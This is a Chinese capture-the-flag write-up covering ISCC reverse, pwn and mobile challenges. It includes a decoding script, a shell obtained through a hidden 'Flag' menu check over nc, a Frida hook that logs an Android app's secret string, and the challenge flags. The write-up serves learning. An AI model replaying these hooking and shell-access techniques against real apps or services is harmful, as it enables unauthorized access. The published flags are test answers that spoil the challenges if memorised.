这段代码是一个C++程序的一部分,它从用户那里读取输入,并检查输入字符串的长度。如果长度合适,它将检查字符串中特定位置的字符是否都是小写或下划线。如果不是,v7被设置为0。接着,它调用check函数来进行进一步的检查,最后程序暂停等待用户输入。如果输入的字符串太长,程序将输出一条消息并暂停。这种模式很典型地出现在需要用户输入特定格式数据的程序中。

既然这样那我们双击check看看里面是什么;

在这里插入图片描述

分析一下;

这段代码首先初始化三个字符串数组,分别包含大写字母、小写字母和数字及特殊字符。另一个字符串v3被用作某种映射或密钥。接着,它遍历输入字符串a1的每个字符,根据字符与v3中对应字符的差值,以及一系列条件,选择性地替换a1中的字符。这个过程可能是一种加密或编码转换。最后,经过处理的字符串传递给check_2函数进行验证。整个过程看起来像是一种基于字符替换的简单加密或数据混淆方法。、

查看check_2;

在这里插入图片描述

这里每个字符转换过来就是:FSBBhKceLDlofvjimJsDiHZNRK6

那这题的思路也很简单,我们在使用这些原本的字符转换回去即可;

直接上脚本;

List = [70, 83, 66, 66, 104, 75, 99, 101, 76, 68, 108, 111, 102, 118, 106, 105, 109, 74, 115, 68, 105, 72, 90, 78, 82, 75, 54]  
aaa="ABCDEFGHIJKLMNOPQRSTUVWXYZ"  
bbb="abcdefghijklmnopqrstuvwxyz"  
ccc="0123456789+/-=!#&*()?;:*^%"  
ddd="DABBZXQESVFRWNGTHYJUMKIOLPC"  
flag=""  
for i in range(len(List)):  
    n=chr(List[i])  
    if(n in aaa):  
        x=aaa.find(n)  
    elif n in bbb:  
        x = bbb.find(n)+26  
    elif n in ccc:  
        x = ccc.find(n) + 52  
    print(x)  
    flag+=chr(ord(ddd[i])+x)  
print(flag)

在这里插入图片描述

ISCC{bmc^Ykzv}jvnbvXoRb\]Z}

四、Pwn

chaos

下载附件,使用ida64位打开;

在这里插入图片描述

找到main主函数直接F5反编译即可;

在这里插入图片描述

简单分析一下;

这段代码实现了一个简单的交互式菜单,允许用户从几个选项中选择。每个选项都与一个特定的函数调用相关联。程序将持续运行,直到用户选择一个不在给定选项中的数字,这时程序将退出。这是命令行界面程序中非常常见的设计模式。

一个个点进去查看,发现五有flag;

在这里插入图片描述

主要的 ptr = malloc(0x68uLL);——这行代码使用 malloc 函数分配了104个字节的内存(因为 0x68 十六进制等于104十进制),并将返回的指针存储在变量 ptr 中。

if ( !strncmp((const char *)ptr, “Flag”, 4uLL) )
system(“/bin/sh”);——这里,程序检查 ptr 所指向的内存中的内容是否以 “Flag” 开头。如果是,它将执行 system("/bin/sh")

所以答案已经很明显了;

使用kali直接nc连上靶机,这里注意(Flag的F要大写!);

在这里插入图片描述

ISCC{0H74HktL4fry4lgTTfayJpJ0fgspm4YB6jH4}

五、mobile

Puzzle_Game

下载附件得到一个apk文件;(apk文件简单来说就是一个压缩包,它包含了一个Android应用运行所需的所有文件和资源);

这里我们使用的工具是反编译工具——jadx-1.4.4;(本机需要配置java环境);

jadx-1.4.4已打包放在评论区;

使用方法:https://blog.csdn.net/gqv2009/article/details/127323557

启动方法:首先进入lib目录,再输入启动指令:java -jar jadx-gui-1.4.4.jar即可;

在这里插入图片描述
接着直接导入apk文件进行分析即可;

在com.example.whathappened.a.a下分析代码发现了str1是数值是8位的;

在这里插入图片描述
那既然这样我们编写一个 Frida 将脚本注入到Android目标进程脚本;(GPT生成);

// 主函数,用于挂钩和修改Java类的行为
function main() {
  // 使用Java.perform来确保所有Java相关的操作都在正确的线程上执行
  Java.perform(function () {
    // 获取对Java类的引用
    let Myjni = Java.use("com.example.whathappened.MyJNI.Myjni");
    // 重写getstr方法的实现
    Myjni.getstr.implementation = function () {
      // 调用原始的getstr方法
      let result = this.getstr();
      // 打印方法返回的结果
      console.log(result);
      // 返回结果
      return result;
    };
  });
}

// 调用setImmediate以尽快执行main函数
setImmediate(main);

得出;

gwC9nOCNUhsHqZm

那就大概明白流程了,使用得到值再编写一个sha256脚本进行爆破;

调试过程不多阐述,这里教大家个简单方法;(方法不唯一)

直接定位random;

在这里插入图片描述
双击跟进,得到3225L(动态)

在这里插入图片描述

注意替换脚本里面的种子;(脚本借鉴师傅的)

// 导入所需的库
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;

// 定义一个名为Test的公共类
public class Test {
    // 定义一个方法来合并两个字符串
    private static String combineStrings(String arg1, String arg2) {
        return arg1 + arg2;
    }

    // 定义一个自定义加密方法,使用异或运算符对两个字节数组进行加密
    private static byte[] customEncrypt(byte[] arg4, byte[] arg5) {
        byte[] v0 = new byte[arg4.length];
        for (int v1 = 0; v1 < arg4.length; ++v1) {
            v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]);
        }
        return v0;
    }

    // 定义一个方法来生成加密字符串
    public static String encrypt(String arg3, String arg4) {
        byte[] v0 = generateSalt(16); // 生成16字节的随机盐
        byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0); // 对合并后的字符串进行加密
        byte[] v4 = new byte[v0.length + v3.length]; // 创建一个新字节数组以存储盐和加密数据
        System.arraycopy(v0, 0, v4, 0, v0.length); // 将盐复制到新数组
        System.arraycopy(v3, 0, v4, v0.length, v3.length); // 将加密数据复制到新数组
        return Base64.getEncoder().encodeToString(v4); // 将结果转换为Base64字符串
    }

    // 定义一个方法来执行第二种加密方式
    public static String encrypt2(String arg3) {
        byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); // 将字符串转换为字节
        for (int v1 = 0; v1 < v3.length; ++v1) {
            v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100); // 对每个字节进行操作
        }

        byte[] v1_1 = new byte[v3.length]; // 创建一个新的字节数组
        for (int v0 = 0; v0 < v3.length; ++v0) {
            v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA); // 对每个字节进行异或操作
        }

        return Base64.getEncoder().encodeToString(v1_1); // 将结果转换为Base64字符串
    }

// 定义一个方法来生成随机盐
private static byte[] generateSalt(int i) {
    byte[] bArr = new byte[i]; // 创建一个指定大小的字节数组
    new Random(3225L).nextBytes(bArr); // 使用指定的种子生成随机字节
    return bArr;
}

// 程序的主入口点
public static void main(String[] args) {
    // 打印加密结果
    System.out.println("ISCC{" + encrypt2(encrypt("04999999", "gwC9nOCNUhsHqZm")).substring(0, 32) + "}");
}

}

简单分析一下这个脚本;

combineStrings 方法接受两个字符串参数,将它们连接起来,并返回结果。

customEncrypt 方法实现了一个简单的异或(XOR)加密算法。它接受两个字节数组,第一个是要加密的数据,第二个是密钥(盐),然后对数据的每个字节与密钥的对应字节进行异或操作。
encrypt 方法组合了上述两个方法的功能。它首先生成一个随机的盐(密钥),然后将两个输入字符串合并并转换为字节,接着使用自定义的加密方法进行加密,并将加密结果与盐一起编码为Base64字符串。

encrypt2 方法是另一种加密方法,它对输入字符串的每个字节进行操作,然后再次进行异或操作,并将结果编码为Base64字符串。

generateSalt 方法生成一个随机的字节数组,用作加密过程中的盐。它使用固定的种子初始化Random对象,以确保每次生成的随机盐是相同的。

main 方法是程序的入口点。它调用上述方法,演示了如何生成加密后的字符串,并将结果打印到控制台。

总结:

它使用了异域加密和Base64编码,并通过固定种子生成的随机盐来提供一定的安全性。

运行推荐在线网站:https://www.jyshare.com/compile/10/

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1693591.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】<图形库> 三人成棋(面向对象写法)

目录 一、游戏需求 二、程序架构 三、代码实现 四、实现效果 五、已知BUG 一、游戏需求 构建一个五子棋游戏&#xff0c;在自定义棋盘宽度和高度的基础上&#xff0c;实现三人对战功能&#xff0c;并且能判定谁输谁赢。 二、程序架构 (1) 对象分析&#xff1a; 【1】 需…

人工智能-YOLOv10-行人和车辆检测-yolo改进测距测速代码和原理

YOLOv10: 实时端到端目标检测技术的全新突破 YOLOv10代表了实时目标检测领域的重大进展&#xff0c;是YOLO系列模型的最新迭代&#xff0c;专为追求极致效率与精度平衡的应用场景设计。此项目由北京大学机器智能研究组&#xff08;THU-MIG&#xff09;的Ao Wang、Hui Chen、Li…

直击CHIMA 2024│美创全栈全新数安能力精彩亮相

5月17日&#xff0c;中国医院信息网络大会(CHIMA 2024)在南京正式拉开帷幕。本次大会以新质生产力理论为指导&#xff0c;以深化应用&#xff0c;融合创新&#xff0c;用信息技术赋能医院高质量发展为主题。 作为医疗数据安全的创新引领者和深耕实践者&#xff0c;美创科技再次…

IDEA通过tomcat运行注意事项

配置run--》edit configurations 以下的A B部分要保持一致 A和B的路径要保持一致

vue/core源码中ref源码的js化

起源&#xff1a; 当看见reactivity文件中的ref.ts文件长达五百多的ts代码后&#xff0c;突发奇想想看下转化成js有多少行。 进行转化&#xff1a; let shouldTrack true; // Define shouldTrack variable let activeEffect null; // Define activeEffect variable// 定义…

MATLAB system identification系统辨识app的使用

系统辨识 前言系统辨识第一步 选取时域数据到app第二步 分割数据第三步 设置传递函数的参数第四步 Estimate第五步 结束 前言 接上节&#xff1a;simulink-仿真以及PID参数整定 系统模型的辨识工作&#xff0c;在控制领域&#xff0c;一般用于开发控制器的先手工作。一般而言…

curl: (60) SSL certificate problem: self-signed certificat

目录&#xff1a; 1、背景2、测试结果 1、背景 今天帮忙客户排查问题&#xff0c;报错请求超时&#xff0c;但是ping客户的ip以及测试端口都是通的&#xff0c;最终不得不从中台服务器上发起请求客户回调接口&#xff0c;报错如下&#xff1a; 怀疑是客户的证书有问题&#xf…

测试网0撸大毛 — AI 公链ALIENX推出HAL Testnet活动(含保姆级教程)

近期&#xff0c;OpenAI推出了新一代的GPT-4o让AI再次获得关注。AI硬件销售商英伟达的股价也突破1000美元&#xff0c;市值攀升到2.6万亿美元。AI继续影响到我们生活的方方面面。 在加密货币行业&#xff0c;市场行情也逐渐走出低谷。以太坊现货ETF被批准&#xff0c;为整个市场…

51单片机 简单计算机实现

书接上回;http://t.csdnimg.cn/T4b0W 键盘位置如上 效果图 因为是四位,就没显示等于号, 而且段数比较少 显示不出来加号 所以 A ; B - ; C *; D / 基本原来都一样. 代码奉上 #include <reg51.h>#include <STRING.H>//利用矩阵键盘按键按下依次在数码管显…

九、OpenAI之图片生成(Image generation)

学习用DALL.E的API怎样生成和操作图片 1 介绍 图片API提供3个方法来和图片进行交互&#xff1a; 从0开始基于文字提示创建图片(DALL.E 3 and DALL.E2)基于一个新的提示词&#xff0c;通过让模型替换已有图像的某些区域来创建图像的编辑版本;&#xff08;DALL.E2&#xff09;…

2024洗地机哪个牌子好?洗地机十大品牌

洗地机在不同家庭环境中都能发挥其独特的优势&#xff0c;无论是大面积的地板还是狭小的角落&#xff0c;都能轻松应对。 对于有孩子或宠物的家庭&#xff0c;地面上经常会有各种杂物和污渍&#xff0c;洗地机强大的吸力和深度清洁功能&#xff0c;可以迅速清理掉这些脏东西&a…

嵩山为什么称为三水之源

三水指黄河、淮河、济河&#xff0c;这三条河流环绕在嵩山周边。 黄河横亘在嵩山北部&#xff0c;其支流伊洛河从西南方环绕嵩山&#xff0c;然后汇入黄河。济河&#xff0c;古称济水&#xff0c;源自济源王屋山&#xff0c;自身河道在东晋时代被黄河夺占&#xff0c;从此消失。…

C#_库的引用

类库的引用 还可以自己引用类库&#xff1a;解决方案-添加-新建项目 主程序 using System; using System.Windows.Forms; using Tools;namespace ConsoleApp2 {class Program{static void Main(string[] args){//Console.WriteLine("helloword");// Form form ne…

“腾讯云 AI 代码助手”体验

一、“腾讯云 AI 代码助手”体验 1、注册账号并进行实名认证 2、进入开发环境 3、体验javascript简单函数 代码如下&#xff1a; //请写一个两个日期计算的函数 function dateDiff(date1, date2) {return date2.getTime() - date1.getTime(); } var date1 new Date("2…

基于JAVA GUI体育馆管理系统的会员功能

Java GUI即Java图形用户界面&#xff0c;是一种使用图形化元素&#xff08;如窗口、按钮、文本框等&#xff09;来构建用户界面的技术。它基于Java的Swing框架&#xff0c;可以用于创建各种复杂的用户界面&#xff0c;包括窗口、对话框、菜单、按钮、文本框、复选框、下拉列表等…

安卓实现5个底部导航栏切换fragment

步骤&#xff0c;写 5 个 fragment 自定义的类5个布局文件&#xff1a; package com.xmkjsoft.xhgh.fragment;import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup;import androidx.annotation.NonNul…

焦化超低排平台选哪家好?(已解答)

在环保政策日益严格的背景下&#xff0c;焦化行业的超低排放改造成为企业转型升级的必经之路。朗观视觉小编建议&#xff0c;选择合适的焦化超低排平台对于确保改造效果和实现可持续发展具有重要意义。本文将从多个维度为您提供一份全面的评估与选择指南&#xff0c;帮助您在众…

Python_文件操作_学习

目录 一、关于文件的打开和关闭 1. 文件的打开 2.文件的关闭 二、文件的读取 1. 文件的读_r 2. 使用readline 3.使用readlines 三、文件的写入 1. 文本的新建写入 2.文本的追加写入 四、文件的删除和重命名 1.文件的重命名 2.文件的删除 五、文件的定位读写 1.t…

java: 无法访问org.springframework.ldap.core.LdapTemplate

完整错误&#xff1a; java: 无法访问org.springframework.ldap.core.LdapTemplate错误的类文件: /E:/apache-maven-3.6.3/repository/org/springframework/ldap/spring-ldap-core/3.2.3/spring-ldap-core-3.2.3.jar!/org/springframework/ldap/core/LdapTemplate.class类文件具…

微火问答:全域外卖和本地生活服务是同个项目吗?

当前&#xff0c;本地生活赛道火爆程度不断升级&#xff0c;作为其主要板块之一的团购外卖也持续迸发出新的活力。而全域运营的出现无疑是给团购外卖这把正在熊熊燃烧的烈火&#xff0c;又添了一把新柴&#xff01; 所谓全域运营&#xff0c;简单来说&#xff0c;就是指所有领…